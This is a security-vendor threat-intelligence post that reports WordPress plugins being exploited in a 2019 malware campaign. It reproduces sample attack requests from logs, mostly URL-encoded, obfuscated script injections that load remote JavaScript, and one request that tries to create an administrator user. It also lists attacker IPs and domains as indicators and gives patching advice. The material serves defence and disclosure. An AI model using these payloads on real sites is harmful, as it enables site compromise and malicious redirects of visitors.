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Labs Note

Plugins Under Attack: June 2019

June 28, 2019John Castro

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A long-lasting malware campaign (1,2) targeting deprecated, vulnerable versions of plugins continues to be leveraged by attackers to inject malicious scripts into affected websites.

As part of a strategy to rotate attack vectors and compromise as many sites as possible, we found a number of new plugins added to this campaign during this past month:

Plugins Under Attack

  • WP-Piwik
  • Blog Designer
  • WP Support Plus Responsive Ticket System
  • Convert Plus Plugin
  • Live Chat with Facebook Messenger
  • Wp Quick Booking Manager
  • Post Custom Templates Lite
  • Wp File Manager

The plugins that are continuing to be leveraged and appear to be giving attackers the best results include:

  • WP Live Chat Support
  • Yellow Pencil Visual Theme Customizer
  • Social Warfare
  • Yuzo Related Post

Samples Attack Requests

WP-Piwik

45.67.228.17 - wp-piwik%5Btrack_mode%5D=manually&wp-piwik%5Btracking_code%5D=%3Cscript+type%3Dtext%2Fjavascript+async%3Dtrue%3Evar+nt+%3D+String.fromCharCode%2898%2C+98%2C+98%2C+55%29%3Bvar+mb+%3D+String.fromCharCode%2897%2C+106%2C+97%2C+120%2C+67%2C+111%2C+117%2C+110%2C+116%2C+101%2C+114%29%3B...skipped...%2Cn%29%3B%3C%2Fscript%3E [25/Jun/2019] "POST /wp-admin/admin-post.php HTTP/1.1"

Blog Designer

45.67.228.14 - action=save&custom_css=%3C%2Fstyle%3E%3Cscript+async%3Dtrue+type%3Dtext%2Fjavascript%3Evar+nt+%3D+String.fromCharCode%2898%2C+98%2C+98%2C+51%29%3Bvar+mb+%3D+String.fromChar...skipped...2C+114%2C+105%2C+112%2C+116%2C+38%2C+118%2C+61%29%3Bvar+c%3Ddocument.createElement%28sb%29%3Bc.type%3Dtb%2Cc.async%3D1%2Cc.src%3Dlb%2Bnt%3Bvar+n%3Ddocument.getElementsByTagName%28sb%29%5B0%5D%3Bn.parentNode.insertBefore%28c%2Cn%29%3B%3C%2Fscript%3E%3Cstyle%3E&updated=true [25/Jun/2019] "POST /wp-admin/admin-ajax.php HTTP/1.1"

WP Support Plus Responsive Ticket System

91.121.54.71 - action=wpsp_upload_attachment [23/Jun/2019] "POST /wp-admin/admin-ajax.php HTTP/1.1"

Convert Plus Plugin

68.183.131.57 - action=cp_add_subscriber&cp_set_user=administrator&cp_set_user=administrator&message=hello&message=letitbe&param%5Bemail%5D=workspace%40kleverandeverbever.top&param%5Bemail%5D=workspace%40kleverandeverbever.top [16/Jun/2019:02:37:42 +0000] "POST /wp-admin/admin-ajax.php?action=cp_add_subscriber HTTP/1.1" 

Live Chat with Facebook Messenger

46.105.102.54 - domain=%3C%2Fscript%3E%3Cscript+language%3Djavascript%3Eeval%28String.fromCharCode%28118%2C+97%2C+114%2C+32%2C+100%2C+61%2C+100%2C+111%2C+99%2C+117%2C+109%2C+101%2C+110%2C+116%2C+59%2C+118%2C+97%2C+114%2C+32%2C+115%2C+61%2C+100%2C+46%2C+99%2C+114%2C+101%2C+97%2C+116%2C+101%2C+69%2C+108%2C+101%2C+109%2C+101%2C+110%2C+116%2C+40%2C+39%2C+115%2C+99%2C+114%2C+105%2C+112%2C+116%2C+39%2C+41%2C+59%2C+32%2C+10%2C+115%2C+46%2C+116%2C+12...skipped...+101%2C+40%2C+39%2C+104%2C+101%2C+97%2C+100%2C+39%2C+41%2C+91%2C+48%2C+93%2C+46%2C+97%2C+112%2C+112%2C+101%2C+110%2C+100%2C+67%2C+104%2C+105%2C+108%2C+100%2C+40%2C+115%2C+41%2C+59%2C+10%2C+125%29%29%3B%3C%2Fscript%3E%3Cscript%3E [07/Jun/2019:14:01:05 +0000] "POST /wp-admin/admin-ajax.php?action=update_zb_fbc_code HTTP/1.1"

WP Quick Booking Manager

46.105.102.54 - action=gen_save_cssfixfront&css=%3C%2Fstyle%3E%3Cscript+language%3Djavascript%3Eeval%28String.fromCharCode%28118%2C+97%2C+114%2C+32%2C+100%2C+61%2C+100%2C+111%2C+99%2C+117%2C+109%2C+101%2C+110%2C+116%2C+59%2C+118%2C+97%2C+114%2C+32%2C+115%2C+61%2C+100%2C+46%2C+99%2C+114%2C+101%2C+97%2C+116%2C+101%2C+69%2C+108%2C+101%2C+109%2C+101%2C+110%2C+116%2C+40%2C+39%2C+115%2C+99%2C+114%2C+105%2C+112%2C+116%2C+39%2C+41%2C+59%2C+32%2C+...skipped...5%2C+108%2C+100%2C+40%2C+115%2C+41%2C+59%2C+10%2C+125%29%29%3B%3C%2Fscript%3E%3Cstyle%3E&cssfix=front [07/Jun/2019:14:01:02 +0000] "POST /wp-admin/admin-ajax.php HTTP/1.1"

Post Custom Templates Lite

46.105.102.54 - otw_pctl_action=manage_otw_pctl_options&otw_pctl_custom_css=%3C%2Ftextarea%3E%3Cscript+language%3Djavascript%3Eeval%28String.fromCharCode%28118%2C+97%2C+114%2C+32%2C+100%2C+61%2C+100%2C+111%2C+99%2C+117%2C+109%2C+101%2C+110%2C+116%2C+59%2C+118%2C+97%2C+114%2C+32%2C+115%2C+61%2C+100%2C+46%2C+99%2C+114%2C+101%2C+97%2C+116%2C+101%2C+69%2C+108%2C+...skipped...%2C+84%2C+97%2C+103%2C+78%2C+97%2C+109%2C+101%2C+40%2C+39%2C+104%2C+101%2C+97%2C+100%2C+39%2C+41%2C+91%2C+48%2C+93%2C+46%2C+97%2C+112%2C+112%2C+101%2C+110%2C+100%2C+67%2C+104%2C+105%2C+108%2C+100%2C+40%2C+115%2C+41%2C+59%2C+10%2C+125%29%29%3B%3C%2Fscript%3E [07/Jun/2019] "POST /wp-admin/admin-post.php HTTP/1.1"

Wp File Manager

79.116.192.67 - action=mk_check_filemanager_php_syntax [01/Jun/2019] "POST /wp-admin/admin-ajax.php HTTP/1.1"

Malicious Domains and IPs

IPs

45.67.228.15
45.67.229.14
45.67.228.17
109.96.171.178
91.121.54.71
185.238.1.175
185.238.1.179
185.238.1.176
185.238.1.53
68.183.131.57
46.105.102.54
185.238.1.53
185.212.129.164
185.238.0.153
162.254.253.193
79.116.192.67

Domains

deliverygoodstrategy[.]com
letsmakesomechoice[.]com
garrygudini[.]com
kleverandeverbever[.]top

We strongly encourage you to keep your software up to date to prevent infection. You can add a WAF as a second layer of protection to virtually patch these vulnerabilities.

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Categories: Sucuri Labs, Website Malware Infections, WordPress SecurityTags: Labs Note, WordPress Plugins and Themes

About John Castro

John Castro is Sucuri's Vulnerability Researcher who joined the company in 2015. His main responsibilities include threat intelligence and vulnerability analysis. John's professional experience covers more than a decade of pentesting, vulnerability research and malware analysis. When John isn't working with WordPres plugin vulnerabilities, you might find him hiking or hunting for new restaurants. Connect with him on LinkedIn

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